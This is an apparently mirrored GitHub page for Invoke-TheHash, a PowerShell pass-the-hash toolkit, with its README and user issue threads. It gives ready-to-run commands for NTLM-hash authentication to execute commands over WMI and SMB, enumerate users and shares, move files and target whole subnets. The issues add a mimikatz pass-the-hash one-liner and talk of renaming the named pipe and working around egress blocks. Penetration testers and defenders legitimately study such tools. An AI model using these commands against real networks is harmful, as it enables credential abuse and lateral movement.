Giter Site home page Giter Site logo

invoke-thehash's Introduction

Invoke-TheHash

Invoke-TheHash contains PowerShell functions for performing pass the hash WMI and SMB tasks. WMI and SMB connections are accessed through the .NET TCPClient. Authentication is performed by passing an NTLM hash into the NTLMv2 authentication protocol. Local administrator privilege is not required client-side.

Requirements

Minimum PowerShell 2.0

Import

Import-Module ./Invoke-TheHash.psd1

or

. ./Invoke-WMIExec.ps1
. ./Invoke-SMBExec.ps1
. ./Invoke-SMBEnum.ps1
. ./Invoke-SMBClient.ps1
. ./Invoke-TheHash.ps1

Functions

  • Invoke-WMIExec
  • Invoke-SMBExec
  • Invoke-SMBEnum
  • Invoke-SMBClient
  • Invoke-TheHash

Invoke-WMIExec

  • WMI command execution function.
Parameters:
  • Target - Hostname or IP address of target.
  • Username - Username to use for authentication.
  • Domain - Domain to use for authentication. This parameter is not needed with local accounts or when using @domain after the username.
  • Hash - NTLM password hash for authentication. This function will accept either LM:NTLM or NTLM format.
  • Command - Command to execute on the target. If a command is not specified, the function will just check to see if the username and hash has access to WMI on the target.
  • Sleep - Default = 10 Milliseconds: Sets the function's Start-Sleep values in milliseconds.
Example:

Invoke-WMIExec -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command "command or launcher to execute" -verbose

Screenshot:

wmi

Invoke-SMBExec

  • SMB (PsExec) command execution function supporting SMB1, SMB2.1, with and without SMB signing.
Parameters:
  • Target - Hostname or IP address of target.
  • Username - Username to use for authentication.
  • Domain - Domain to use for authentication. This parameter is not needed with local accounts or when using @domain after the username.
  • Hash - NTLM password hash for authentication. This function will accept either LM:NTLM or NTLM format.
  • Command - Command to execute on the target. If a command is not specified, the function will just check to see if the username and hash has access to SCM on the target.
  • CommandCOMSPEC - Default = Enabled: Prepend %COMSPEC% /C to Command.
  • Service - Default = 20 Character Random: Name of the service to create and delete on the target.
  • Sleep - Default = 150 Milliseconds: Sets the function's Start-Sleep values in milliseconds.
  • Version - Default = Auto: (Auto,1,2.1) Force SMB version. The default behavior is to perform SMB version negotiation and use SMB2.1 if supported by the target.
Example:

Invoke-SMBExec -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command "command or launcher to execute" -verbose

Example:

Check SMB signing requirements on target. Invoke-SMBExec -Target 192.168.100.20

Screenshot:

smb

Invoke-SMBEnum

  • Invoke-SMBEnum performs User, Group, NetSession and Share enumeration tasks over SMB2.1 with and without SMB signing.
Parameters:
  • Target - Hostname or IP address of target.
  • Username - Username to use for authentication.
  • Domain - Domain to use for authentication. This parameter is not needed with local accounts or when using @domain after the username.
  • Hash - NTLM password hash for authentication. This function will accept either LM:NTLM or NTLM format.
  • Action - (All,Group,NetSession,Share,User) Default = Share: Enumeration action to perform.
  • Group - Default = Administrators: Group to enumerate.
  • Sleep - Default = 150 Milliseconds: Sets the function's Start-Sleep values in milliseconds.
  • Version - Default = Auto: (Auto,1,2.1) Force SMB version. The default behavior is to perform SMB version negotiation and use SMB2.1 if supported by the target. Note, only the signing check works with SMB1.
Example:

Invoke-SMBEnum -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -verbose

Screenshot:

invoke-smbenum

Invoke-SMBClient

  • SMB client function supporting SMB2.1 and SMB signing. This function primarily provides SMB file share capabilities for working with hashes that do not have remote command execution privilege. This function can also be used for staging payloads for use with Invoke-WMIExec and Invoke-SMBExec. Note that Invoke-SMBClient is built on the .NET TCPClient and does not use the Windows SMB client. Invoke-SMBClient is much slower than the Windows client.
Parameters:
  • Username - Username to use for authentication.
  • Domain - Domain to use for authentication. This parameter is not needed with local accounts or when using @domain after the username.
  • Hash - NTLM password hash for authentication. This function will accept either LM:NTLM or NTLM format.
  • Action - Default = List: (List/Recurse/Delete/Get/Put) Action to perform.
      • List: Lists the contents of a directory.
      • Recurse: Lists the contents of a directory and all subdirectories.
      • Delete: Deletes a file.
      • Get: Downloads a file.
      • Put: Uploads a file and sets the creation, access, and last write times to match the source file.
  • Source
      • List and Recurse: UNC path to a directory.
      • Delete: UNC path to a file.
      • Get: UNC path to a file.
      • Put: File to upload. If a full path is not specified, the file must be in the current directory. When using the 'Modify' switch, 'Source' must be a byte array.
  • Destination
      • List and Recurse: Not used.
      • Delete: Not used.
      • Get: If used, value will be the new filename of downloaded file. If a full path is not specified, the file will be created in the current directory.
      • Put: UNC path for uploaded file. The filename must be specified.
  • Modify
      • List and Recurse: The function will output an object consisting of directory contents.
      • Delete: Not used.
      • Get: The function will output a byte array of the downloaded file instead of writing the file to disk. It's advisable to use this only with smaller files and to send the output to a variable.
      • Put: Uploads a byte array to a new destination file.
  • NoProgress - Prevents displaying an upload and download progress bar.
  • Sleep - Default = 100 Milliseconds: Sets the function's Start-Sleep values in milliseconds.
  • Version - Default = Auto: (Auto,1,2.1) Force SMB version. The default behavior is to perform SMB version negotiation and use SMB2.1 if supported by the target. Note, only the signing check works with SMB1.
Example:

List the contents of a root share directory.
Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Source \\server\share -verbose

Example:

Recursively list the contents of a share starting at the root.
Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Recurse -Source \\server\share

Example:

Recursively list the contents of a share subdirectory and return only the contents output to a variable.
$directory_contents = Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Recurse -Source \\server\share\subdirectory -Modify

Example:

Delete a file on a share.
Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Delete -Source \\server\share\file.txt

Example:

Delete a file in subdirectories within a share.
Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Delete -Source \\server\share\subdirectory\subdirectory\file.txt

Example:

Download a file from a share.
Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Get -Source \\server\share\file.txt

Example:

Download a file from within a share subdirectory and set a new filename.
Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Get -Source \\server\share\subdirectory\file.txt -Destination file.txt

Example:

Download a file from a share to a byte array variable instead of disk.
$password_file = Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Get -Source \\server\share\file.txt -Modify

Example:

Upload a file to a share subdirectory.
Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Put -Source file.exe -Destination \\server\share\subdirectory\file.exe

Example:

Upload a file to share from a byte array variable.
Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Put -Source $file_byte_array -Destination \\server\share\file.txt -Modify

Screenshot:

invoke-smbclient

Invoke-TheHash

  • Function for running Invoke-TheHash functions against multiple targets.
Parameters:
  • Type - Sets the desired Invoke-TheHash function. Set to either SMBClient, SMBEnum, SMBExec, or WMIExec.
  • Target - List of hostnames, IP addresses, CIDR notation, or IP ranges for targets.
  • TargetExclude - List of hostnames, IP addresses, CIDR notation, or IP ranges to exclude from the list or targets.
  • PortCheckDisable - (Switch) Disable WMI or SMB port check. Since this function is not yet threaded, the port check serves to speed up he function by checking for an open WMI or SMB port before attempting a full synchronous TCPClient connection.
  • PortCheckTimeout - Default = 100: Set the no response timeout in milliseconds for the WMI or SMB port check.
  • Username - Username to use for authentication.
  • Domain - Domain to use for authentication. This parameter is not needed with local accounts or when using @domain after the username.
  • Hash - NTLM password hash for authentication. This module will accept either LM:NTLM or NTLM format.
  • Command - Command to execute on the target. If a command is not specified, the function will just check to see if the username and hash has access to WMI or SCM on the target.
  • CommandCOMSPEC - Default = Enabled: SMBExec type only. Prepend %COMSPEC% /C to Command.
  • Service - Default = 20 Character Random: SMBExec type only. Name of the service to create and delete on the target.
  • SMB1 - (Switch) Force SMB1. SMBExec type only. The default behavior is to perform SMB version negotiation and use SMB2 if supported by the target.
  • Sleep - Default = WMI 10 Milliseconds, SMB 150 Milliseconds: Sets the function's Start-Sleep values in milliseconds.
Example:

Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100.50 -Username Administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0

Screenshot:

ithsmb

invoke-thehash's People

Contributors

kevin-robertson avatar vokaysh avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

invoke-thehash's Issues

local Pass The Hash

how can i create process or execute command on local computer (127.0.0.1) with another credential?

mimikatz:

sekurlsa::pth /user:admin /domain:workgroup /ntlm:3DBDE697D71690A769204BEB12283678 /run:"cmd.exe /c whoami"

Invoke-WMIExec:

Invoke-WMIExec -Target 127.0.0.1 -Domain workgroup -Username admin -Hash 3DBDE697D71690A769204BEB12283678 -Command 'whoami' -verbose

SMB-Finger in powershell

Kevin,
Trying to recreate https://github.com/lgandx/Responder/blob/master/tools/RunFinger.py in powershell.
According to the SMBFinger function need to send command 72, flag1 x18, flag2 x53 xC8. I think I got that but not sure how to send and pull the data.
Here is what I got so far, but I could be way off:

function Get-SmbFinger()
{
$SMB_client_stream = $SMB_client.GetStream()
$SMB_client_receive = New-Object System.Byte[] 81920
$packet_SMB_header = Get-PacketSMBHeader 0x72 0x18 0x53,0xC8 0xff,0xff $process_ID_bytes[0,1] 0x00,0x00
$packet_SMB_data = Get-PacketSMBNegotiateProtocolRequest $SMB_version
$SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
$SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data
$packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length
$NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
$SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data
$SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length)
$SMB_client_stream.Flush()
$SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length)

}

Let me know what you think.

User is not local administrator

Hey i added X user on 2012 R2.

i added local administrator groups too.

But when i trying to pass the hash with smb. i getting "X user not local administrator on x.x.x.x"
sorn

sorun2

But kali PTH working fine

Run command in the context of User

Hello!

I've a question concerning Invoke-SMBExec module. When I run command through it, the command is executed as System on the remote host.

Problem: some block Internet connection issued by Local System account. Is there a mean to execute command as user used to launch SmbExec directly on the remote host?

Question: use Invoke-WMIExec to query stuff

Hi Kevin,

thanks for sharing your work, it really is a great tool.

I figured it would be interesting to tweak Invoke-WMIExec so it can also query stuff via WMI and not only execute. I had a look at the source code but I couldn't quite figure out where you define the actual WMI class you use for command execution ("Win32_Process" ?). Could you point me in the right direction?

Thanks in advance!

Christoph

Customize the pipe name

So I tried fussing around in the code to change the name of the pipe from \svcctl to a different value. My test target is SMB2, so I didn't fuss with the pipe name encoded in the SMB1 section. I put the nulls in to account for the UTF-16LE. However, when I run the script, I just get:

Hash being used: 79D6ED02F83D0E3862B2755AB5487933
user successfully authenticated on <machinename>
Something went wrong with <machinename>

I saw this $SMB_named_pipe_UUID value, but when I tried to decode it I just got binary-looking gibberish. Do I need to change this value as well? And if so, how do I derive the correct value?

Any pointers would be appreciated.

WriteAndX Offset

Hello Kevin,
I was looking your SMBExec code and I realize that you have constant offset(1002) at WriteAndX part. I am cofused about it. I think it is about svcctl pipe but I don't know the reason.
Can you explain the reason?

SMB enumeration exception then ran with Invoke-TheHash

So it seems Invoke-SMBEnum fails when passing target inputs that are processed in Invoke-TheHash, but not when a single target is passed directly to Invoke-SMBEnum.

image

So when debugging I can see in Get-TargetList the $target_list.Add($entry) line actually adds a string, which is the correct type.

However when checking the target type later in the flow it's an object array which errors out when attempting to convert to String when passed to Invoke-SMBEnum.

I have no idea about this powershell voodoo, but a quick fix I found is to manually convert to string before passing to Invoke-SMBEnum.

Note I have not tested other functions (SMBClient, SMBExec, etc.), just needed this one to work on a pentest.

Question: Mapping an SMB drive

Hi Kevin,

Thanks for sharing your fantastic work. Been testing it successfully in my own lab environment, it's amazing.

I was wondering if there's any chance that your tools can be extended/modified to simply map a network share on a server that is not a Windows one, but still uses Windows domain credentials and SMB/NTLM authentication, typically a SAMBA server integrated to ActiveDirectory.

Thanks,
Regards,
Arno

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.